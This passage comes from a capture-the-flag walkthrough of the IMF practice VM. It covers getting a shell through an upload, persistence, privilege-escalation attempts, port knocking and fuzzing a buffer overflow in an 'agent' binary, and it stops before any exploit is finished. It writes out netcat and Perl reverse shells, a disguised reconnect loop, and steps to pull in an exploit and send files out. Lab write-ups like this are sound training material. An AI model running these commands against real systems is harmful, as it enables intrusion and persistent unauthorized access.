rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 5432 >/tmp/f
Hitting the following URL, my session is created in Metasploit and I'm able to start my second reverse shell session.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:53798) at 2019-05-03 11:51:58 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/imfadministrator/uploads
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
$ [*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:49008) at 2019-05-03 11:52:14 -0400
Checking the uploads directory we dropped into, we've found our fifth flag.
www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
Decoding the Base64 string in the flag, we get the string 'agentservices'.
Also, checking the .htaccess file in the uploads directory, we see why our GIF file (with only a .gif extension) was able to execute as PHP code.
www-data@imf:/var/www/html/imfadministrator/uploads$ cat .htaccess
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif
This would be an a-typical set up, obviously. However, some of the same techniques would have worked if the file wasn't automatically getting renamed and we could upload our filename as test.php.gif (and request it as test.php.gif).
Maintaining Access
Since SSH isn't open on the victim, I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.
root@kali:~/Walkthroughs/imf# cat 89141121ca4e.jpg
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/imf# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [03/May/2019 11:58:52] "GET /89141121ca4e.jpg HTTP/1.1" 200 -
I uploaded the script to the victim's /var/www/html/imfadministrator/uploads directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
www-data@imf:/var/www/html/imfadministrator/uploads$ wget -O 89141121ca4e.jpg <IP_ADDRESS>:4321/89141121ca4e.jpg
--2019-05-03 11:58:52-- http://<IP_ADDRESS>:4321/89141121ca4e.jpg
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [image/jpeg]
Saving to: '89141121ca4e.jpg'
0K 100% 49.1M=0s
2019-05-03 11:58:52 (49.1 MB/s) - '89141121ca4e.jpg' saved [309/309]
www-data@imf:/var/www/html/imfadministrator/uploads$ chmod +x 89141121ca4e.jpg
www-data@imf:/var/www/html/imfadministrator/uploads$ ./89141121ca4e.jpg &
[1] 7036
Privilege Escalation
Dropping back a directory from uploads, we see our cms.php page. We know this page did a database lookup, so it likely contains DB credentials.
www-data@imf:/var/www/html/imfadministrator$ cat cms.php
<?php error_reporting(E_ALL); ini_set('display_errors', 1); session_start(); ?>

<title>IMF CMS</title>

IMF CMS

<?php
if(isset($_SESSION['admin_logged_on']) && $_SESSION['admin_logged_on'] == 'that is affirmative sir') {
?>
Menu:
Home |
Upload Report |
Disavowed list |
Logout

<?php
$db_user = 'admin';
$db_pass = '3298fj8323j80df!49';
$db_name = 'admin';
$link = mysqli_connect('localhost',$db_user,$db_pass,$db_name);
$pagename = isset($_GET['pagename'])?$_GET['pagename']:'home';
$pagename = str_replace('--', '', $pagename);
$query = "SELECT `pagedata` FROM `pages` WHERE `pagename` = '".$pagename."'";
$result = mysqli_query($link, $query);
$page = mysqli_fetch_row($result);
print $page[0];
} else {
print "Please login Here";
}
?>

We already know there isn't much else in the database to mine out, but it's always nice to harvest credentials that might be reused in other places.
Checking index.php, we are able to see that "mad secure" hard coded password Roger mentioned.
www-data@imf:/var/www/html/imfadministrator$ cat index.php
<?php
session_start();
$loggedin=false;
if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') {
echo "flag3{Y29udGludWVUT2Ntcw==}
Welcome, ".$_POST["user"] . "
IMF CMS";
$loggedin=true;
} elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
$password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf";
sleep(3); // do not bruteforce
if ($_POST["user"]=='rmichaels') {
if (strcmp($password, $_POST["pass"]) == 0) {
$_SESSION['admin_logged_on'] = 'that is affirmative sir';
echo "flag3{Y29udGludWVUT2Ntcw==}
Welcome, ".$_POST["user"] . "
IMF CMS";
$loggedin=true;
} else {
echo "Invalid password";
}
} else {
echo "Invalid username.";
}
}
if($loggedin===false) {
?>
<form method="POST" action="">
Username:<input type="text" name="user" value="">

Password:<input type="password" name="pass" value="">

<input type="submit" value="Login">

</form>
<?php } ?>
There was no way we were going to crack that with hydra.
Trying to check sudo fails because I don't have a TTY shell.
www-data@imf:/$ sudo -l
sudo: no tty present and no askpass program specified
Typically I'd run the following command to fix that issue, but python isn't available on the victim...
www-data@imf:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
The program 'python' can be found in the following packages:
* python-minimal
* python3
Ask your administrator to install one of them
...or is it? Let's make sure our PATH variable has all the typical locations and then check for python/python2/python3 using which.
www-data@imf:/$ export PATH=$PATH:/home/seekorswim:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@imf:/$ which python
www-data@imf:/$ which python2
www-data@imf:/$ which python3
/usr/bin/python3
Ah, so we have python3 only. That should be fine for getting a TTY shell and trying sudo again.
www-data@imf:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@imf:/$ sudo -l
sudo -l
[sudo] password for www-data: ^C
Well, that was fruitless.
Checking netstat for open ports, we see a few that we can't access externally.
www-data@imf:/$ netstat -lnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 <IP_ADDRESS>:3306 <IP_ADDRESS>:* LISTEN -
tcp 0 0 <IP_ADDRESS>:7788 <IP_ADDRESS>:* LISTEN -
tcp 0 0 <IP_ADDRESS>:22 <IP_ADDRESS>:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 <IP_ADDRESS>:68 <IP_ADDRESS>:* -
I have a good idea about what 3306 (mysql), 22 (ssh) and 80 (http) are. I'm not sure about the service listening on 7788. That might be interesting. I know that port isn't accessible from the outside, but we should be able to connect to it locally.
www-data@imf:/$ nc <IP_ADDRESS> 7788
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
Cool. A fancy login. Unfortunately, I'm not sure I have enough information at this point to try to login. Just putting in '1' returned an error "Invalid Agent ID" and disconnected me. I might be able to enumerate the agent IDs through brute force, or I may be able to try to overflow input, but I'll keep digging first.
Using the string from the fifth flag (agentservices) as my guide, I'll see what services are running using systemctl.
www-data@imf:/$ systemctl --type=service
systemctl --type=service
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
apache2.service loaded active running LSB: Apache2 web server
apparmor.service loaded active exited LSB: AppArmor initialization
apport.service loaded active exited LSB: automatic crash report generation
atd.service loaded active running Deferred execution scheduler
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program processing daemon
dbus.service loaded active running D-Bus System Message Bus
<EMAIL_ADDRESS>loaded active running Getty on tty1
grub-common.service loaded active exited LSB: Record successful boot for GRUB
<EMAIL_ADDRESS>loaded active exited ifup for eth0
irqbalance.service loaded active exited LSB: daemon to balance interrupts for SMP systems
iscsid.service loaded active running iSCSI initiator daemon (iscsid)
keyboard-setup.service loaded active exited Set console keymap
kmod-static-nodes.service loaded active exited Create list of required static device nodes for the current kernel
knockd.service loaded active running LSB: port-knock daemon
lvm2-lvmetad.service loaded active running LVM2 metadata daemon
lvm2-monitor.service loaded active exited Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling
lxcfs.service loaded active running FUSE filesystem for LXC
lxd-containers.service loaded active exited LXD - container startup/shutdown
mdadm.service loaded active running LSB: MD monitoring daemon
mysql.service loaded active running MySQL Community Server
netfilter-persistent.service loaded active exited netfilter persistent configuration
networking.service loaded active exited Raise network interfaces
ondemand.service loaded active exited LSB: Set the CPU Frequency Scaling governor to "ondemand"
open-iscsi.service loaded active exited Login to default iSCSI targets
polkitd.service loaded active running Authenticate and Authorize Users to Run Privileged Tasks
rc-local.service loaded active exited /etc/rc.local Compatibility
resolvconf.service loaded active exited Nameserver information manager
rsyslog.service loaded active running System Logging Service
setvtrgb.service loaded active exited Set console scheme
* snapd.firstboot.service not-found active exited snapd.firstboot.service
snapd.seeded.service loaded active exited Wait until snapd is fully seeded
ssh.service loaded active running OpenBSD Secure Shell server
systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-modules-load.service loaded active exited Load Kernel Modules
systemd-random-seed.service loaded active exited Load/Save Random Seed
systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev
systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories
systemd-udev-trigger.service loaded active exited udev Coldplug all Devices
systemd-udevd.service loaded active running udev Kernel Device Manager
systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown
systemd-user-sessions.service loaded active exited Permit User Sessions
ufw.service loaded active exited Uncomplicated firewall
unattended-upgrades.service loaded active exited Unattended Upgrades Shutdown
xinetd.service loaded active running LSB: Starts or stops the xinetd daemon.
LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.
51 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.
One service that stands out as uncommon (and has a * out next to it) is snapd. Checking the version number for snapd, we get the following.
www-data@imf:/$ snap --version
snap 2.37.4ubuntu0.1
snapd 2.37.4ubuntu0.1
series 16
ubuntu 16.04
kernel 4.4.0-45-generic
Checking the exploit database, we actually have some privilege escalation vulnerabilities with this version.
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1) | exploits/linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2) | exploits/linux/local/46362.py
Both exploits are written in python, so I'm hoping python3 will do. I'll copy exploit 2 (which requires less set up) to my working directory and serve it up to the victim via python's SimpleHTTPServer.
root@kali:~/Walkthroughs/imf# cp /usr/share/exploitdb/exploits/linux/local/46362.py .
root@kali:~/Walkthroughs/imf# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [04/May/2019 09:41:25] "GET /46362.py HTTP/1.1" 200 -
Then, on the victim...
www-data@imf:/$ cd /tmp
www-data@imf:/tmp$ wget -O 46362.py <IP_ADDRESS>:4321/46362.py
--2019-05-04 09:41:25-- http://<IP_ADDRESS>:4321/46362.py
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13831 (14K) [text/plain]
Saving to: '46362.py'
46362.py 100%[===================>] 13.51K --.-KB/s in 0s
2019-05-04 09:41:25 (249 MB/s) - '46362.py' saved [13831/13831]
www-data@imf:/tmp$ python3 46362.py
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/izsbvzusad;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] System may not be vulnerable, here is the API reply:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Sat, 04 May 2019 13:41:31 GMT
Content-Length: 119
{"type":"error","status-code":401,"status":"Unauthorized","result":{"message":"access denied","kind":"login-required"}}
Well, looks like I'm not authorized to manage snaps, so the exploit won't work. Time to move on...
Looking around common locations, I noticed two interesting files in /usr/local/bin.
www-data@imf:/usr/local/bin$ ls -laF
total 24
drwxr-xr-x 2 root root 4096 Oct 16 2016 ./
drwxr-xr-x 10 root root 4096 Sep 22 2016 ../
-rw-r--r-- 1 root root 19 Oct 16 2016 access_codes
-rwxr-xr-x 1 root root 11896 Oct 12 2016 agent*
www-data@imf:/usr/local/bin$ file access_codes
access_codes: ASCII text
www-data@imf:/usr/local/bin$ file agent
agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
I have a text file named access_codes and an elf binary named agent. Checking the contents of the access_codes file...
www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467
That's interesting. Seeing 'SYN' immediately makes me think port numbers. We know none of these ports are open. However, this could be a sequence used for a 'port knocker'. Let's check the running services and see if we have anything that looks like a port knocking listener.
www-data@imf:/$ ps aux | grep -i knock
root 1265 3.0 0.2 8752 2196 ? Ss May02 45:23 /usr/sbin/knockd -d
www-data 9151 0.0 0.0 11284 984 ? S 16:55 0:00 grep -i knock
Yes, indeed! We have knockd running as root. Knockd is typically used to hide your SSH service. It might also be hiding access to the 'agent' service on TCP port 7788. Let's use knock (part of knockd) to do the port knocking and then run a scan of port 22 and 7788 to see if either opens up.
root@kali:~/Walkthroughs/imf# knock <IP_ADDRESS> 7482 8279 9467
root@kali:~/Walkthroughs/imf# nmap -Pn -sT -sV -sC -A -oA imf-post-portknock -p 22,7788 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-05 01:25 EDT
Nmap scan report for imf.homenet.dom (<IP_ADDRESS>)
Host is up (0.0027s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
7788/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest:
| ___ __ __ ___
| Agent
| Reporting
| |___|_| |_|_| System
| Agent ID : Invalid Agent ID
| NULL:
| ___ __ __ ___
| Agent
| Reporting
| |___|_| |_|_| System
|_ Agent ID :
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/s:
SF-Port7788-TCP:V=7.70%I=7%D=5/5%Time=5CCE73DB%P=x86_64-pc-linux-gnu%r(NUL
SF:L,6F,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/
SF:\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x2
SF:0_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x
SF:20System\n\n\nAgent\x20ID\x20:\x20")%r(GenericLines,81,"\x20\x20___\x20
SF:__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__\|\x2
SF:0\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20Repor
SF:ting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAgent\x
SF:20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(GetRequest,81,"\x20\x20__
SF:_\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__
SF:\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20
SF:Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAg
SF:ent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(HTTPOptions,81,"\x20
SF:\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|
SF:\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x
SF:20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n
SF:\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(RTSPRequest,81
SF:,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20
SF:\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|
SF:\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20Sy
SF:stem\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(RPCCheck
SF:,81,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\
SF:x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20
SF:_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x2
SF:0System\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(DNSVe
SF:rsionBindReqTCP,81,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20
SF:_\|\x20\x20\\/\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|
SF:\\/\|\x20\|\x20_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|
SF:\x20\x20\x20\x20System\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\
SF:x20\n")%r(DNSStatusRequestTCP,81,"\x20\x20___\x20__\x20\x20__\x20___\x2
SF:0\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|
SF:\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x
SF:20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAgent\x20ID\x20:\x20Invalid\x
SF:20Agent\x20ID\x20\n");
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 2.69 ms imf.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds
Looks like TCP port 7788 opened up for us. We know what it is, we don't know (yet) how to exploit it.
Running the agent binary in /usr/local/bin...
www-data@imf:/usr/local/bin$ ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
That looks familiar. Checking xinetd.d, we can confirm this is the binary running on port 7788 (but the one running there is as root 🙂).
www-data@imf:/$ cat /etc/xinetd.d/agent
# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}
This smells like a buffer overflow waiting to happen. 😕 I'll try sending it lots of 'A's to see if I can get it to crash...
Nope! Trying over 35000 'A's didn't crash it, so I guess we are good. I'm kind of thankful for that.
Running strings on the agent binary, we get some interesting things, but nothing that looks like an ID. If we could run the program in a debugger, we could probably trace the registers and memory and see what's going on. Unfortunately, gdb is not installed on the victim. We could transfer the agent binary to our attacking machine and debug it there, but we might not have all the symbol tables for the 32-bit libraries used (since our attacking machine is 64-bit). Another option is to use strace and/or ltrace to see "under the hood" while the program is running. strace is a system call and signal tracer. ltrace is a library call tracer and is primarily used to trace calls made by programs to library functions. ltrace can also do what strace does (when using the -S option), so we'll just use ltrace.
www-data@imf:/usr/local/bin$ ltrace -CS -n 4 -o /tmp/agent-trace ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 1234
Invalid Agent ID
Now, if we take a look at our trace data we captured...
www-data@imf:/usr/local/bin$ cat /tmp/agent-trace
SYS_brk(0xf770b4c2) = 0x88b4000
SYS_access("/etc/ld.so.nohwcap", 00) = -2
SYS_mmap2(0, 4, 0xf7718000, 0) = 0xf76f1000
SYS_access("/etc/ld.so.preload", 04) = -2
SYS_open("\203\304\020\205\300xD\203\354\004\211\303\215D$\004PSj\003\350B\206", -143587944, 02000000) = 3
SYS_fstat64(0xf770517e, 3, 3, 0xffa942a0) = 0
SYS_mmap2(0, 0, 0xf7718000, 0) = 0xf76e9000
SYS_close(3) = 0
SYS_access("/etc/ld.so.nohwcap", 00) = -2
SYS_open("\203\304\020\203\370\377\211E\330\017\204z\002", -143715952, 02000000) = 3
SYS_read(-143673437, "\003\004\005\006\a\b\t\n\v\f\r\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !""...,<PHONE_NUMBER>) = 512
SYS_fstat64(0xf76fa345, 3, 3, 0xffa942e0) = 0
SYS_mmap2(0, 0, 0xf7718000, 0) = 0xf7535000
SYS_mprotect(0xf76fb170, -143777792, 4096) = 0
SYS_mmap2(0, 0, 0xf7718000, 0) = 0xf76e3000
SYS_mmap2(0, 0, 0xf7718000, 0) = 0xf76e6000
SYS_close(3) = 0
SYS_mmap2(0xffa94630, 0, 0xf7718000, 0) = 0xf7534000
SYS_set_thread_area(0xf7534700, 0xfffff, 81, 0) = 0
SYS_mprotect(0xf7700017, -143773696, 8192) = 0
SYS_mprotect(0xf7700017, 134520832, 4096) = 0
SYS_mprotect(0xf7700017, -143560704, 4096) = 0
SYS_munmap(0xf76e9000, 31719) = 0
__libc_start_main(0x80485fb, 1, 0xffa94974, 0x8048970 <unfinished ...>
setbuf(0xf76e5d60, 0) = <void>
asprintf(0xffa948a8, 0x80489f0, 0x2ddd984, 0xf754d0ec <unfinished ...>
SYS_brk(0xf76e5000) = 0x88b4000
SYS_brk(0xf76e5000) = 0x88d5000
<... asprintf resumed> ) = 8
puts(" ___ __ __ ___ " <unfinished ...>
SYS_write(17, " ___ __ __ ___ ",<PHONE_NUMBER>) = 17
SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377",<PHONE_NUMBER>) = 1
<... puts resumed> ) = 18
puts(" |_ _| \\/ | __| Agent" <unfinished ...>
SYS_write(24, " |_ _| \\/ | __| Agent",<PHONE_NUMBER>) = 24
SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377",<PHONE_NUMBER>) = 1
<... puts resumed> ) = 25
puts(" | || |\\/| | _| Reporting" <unfinished ...>
SYS_write(28, " | || |\\/| | _| Reporting",<PHONE_NUMBER>) = 28
SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377",<PHONE_NUMBER>) = 1
<... puts resumed> ) = 29
puts(" |___|_| |_|_| System\n" <unfinished ...>
SYS_write(26, " |___|_| |_|_| System\n",<PHONE_NUMBER>) = 26
SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377",<PHONE_NUMBER>) = 1
<... puts resumed> ) = 27
printf("\nAgent ID : " <unfinished ...>
SYS_write(12, "\nAgent ID : ",<PHONE_NUMBER>) = 12
<... printf resumed> ) = 12
fgets( <unfinished ...>
SYS_fstat64(0xffa946a0, 0xffa946a0, 0xf7608a35, 0xf76e5000) = 0
SYS_read(4096, "1234\n",<PHONE_NUMBER>) = 5
<... fgets resumed> "1234\n", 9, 0xf76e55a0) = 0xffa948ae
strncmp("1234\n", "48093572", 8) = -1
puts("Invalid Agent ID " <unfinished ...>
SYS_write(17, "Invalid Agent ID ",<PHONE_NUMBER>) = 17
SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377",<PHONE_NUMBER>) = 1
<... puts resumed> ) = 18
SYS_exit_group(1 <no return ...>
+++ exited (status 254) +++
Interesting. We can see the strncmp call comparing what we entered (1234) to what it is looking for (48093572). Let's run our program again and try the new Agent ID.
www-data@imf:/usr/local/bin$ ltrace -CS -n 4 -o /tmp/agent-trace ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:
Great! 😄 Working through the menu items, the "Request Extraction" and "Submit Report" items both allow user input that is echoed back to the screen. Looking at the trace for each, we can see:
Request Extraction
fgets( <unfinished ...>
SYS_read(4096, "test\n",<PHONE_NUMBER>) = 5
<... fgets resumed> "test\n", 55, 0xf771f5a0) = 0xfff55fb7
getchar(0xfff55ff8, 0x74743ff0, 0xa747365, 0 <unfinished ...>
SYS_read(4096, "\n",<PHONE_NUMBER>) = 1
<... getchar resumed> ) = 10
Submit Report
gets(0xff9d0a34, 0x8048278, 1, 0xf77ec918 <unfinished ...>
SYS_read(4096, "test\n",<PHONE_NUMBER>) = 5
<... gets resumed> )
Checking on
these functions, we know that gets is more susceptible to buffer overflows. Looks like we are back to trying to find a buffer overflow in the program. Oh joy! I'll go ahead and transfer the binary to my attacking machine using netcat and start the process of trying to find a buffer overflow.
On my attacking machine...
root@kali:~/Walkthroughs/imf# nc -vlp 4321 > agent
listening on [any] 4321 ...
connect to [<IP_ADDRESS>] from imf.homenet.dom [<IP_ADDRESS>] 42894
On the victim...
www-data@imf:/usr/local/bin$ nc <IP_ADDRESS> 4321 < agent
Now that we have the agent binary, we'll create a python script to run the application and start sending an increasing amount of 'A's to the Submit Report option until we crash the process.
root@kali:~/Walkthroughs/imf# cat fuzz.py
#!/usr/bin/python
import pexpect
# create an array of buffers (31), from 1,100,200...3000 (increments of 100).
buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+100
# start sending each buffer to see if/when the program crashes
for string in buffer:
try:
print "Fuzzing with %s bytes" % len(string)
child = pexpect.spawn('./agent')
child.expect('Agent ID : ')
child.sendline('48093572')
child.expect('Enter selection: ')
child.sendline('3')
child.expect('Enter report update: ')
child.sendline(string)
child.expect(pexpect.EOF)
child.close()
if child.exitstatus is None:
returncode = child.signalstatus
else:
returncode = child.exitstatus
if returncode == 11:
raise BufferError("Crashed! %s" % returncode)
except BufferError as error:
print "Buffer overflow detected with %s bytes" % len(string)
break
except:
print(str(child))
break
When we run this, we get the following.
root@kali:~/Walkthroughs/imf# python fuzz.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Buffer overflow detected with 200 bytes
Good start. Now we can generate our unique string using pattern_create.rb and see exactly how many 'A's it takes to overwrite the eip (Extended Instruction Pointer).
root@kali:~/Walkthroughs/imf# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250 > pattern.txt
Debugging the program using gdb, we get the following.
root@kali:~/Walkthroughs/imf# gdb -q agent
Reading symbols from agent...(no debugging symbols found)...done.
(gdb) run
Starting program: /root/Walkthroughs/imf/agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
Enter report update: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1AeA
Report: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
Submitted for review.
Program received signal SIGSEGV, Segmentation fault.
0x41366641 in ?? ()
The crash returns the invalid information (our pattern) it hit in the eip. Now, we can use pattern_offset.rb to see exactly where that part of our pattern is (so we know how many bytes we have to send to overwrite eip).
root@kali:~/Walkthroughs/imf# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
[*] Exact match at offset 168
Now we want to try to send 168 'A's, 4 'B's and (700-168-4) 'C's. We are sending the 'C's to see how much we can overflow the buffer (so we know how much space we might have for our exploit). We'll use python to build our string.
root@kali:~/Walkthroughs/imf# python -c 'print "A"*168 + "B"*4 + "C"*(700-168-4)'
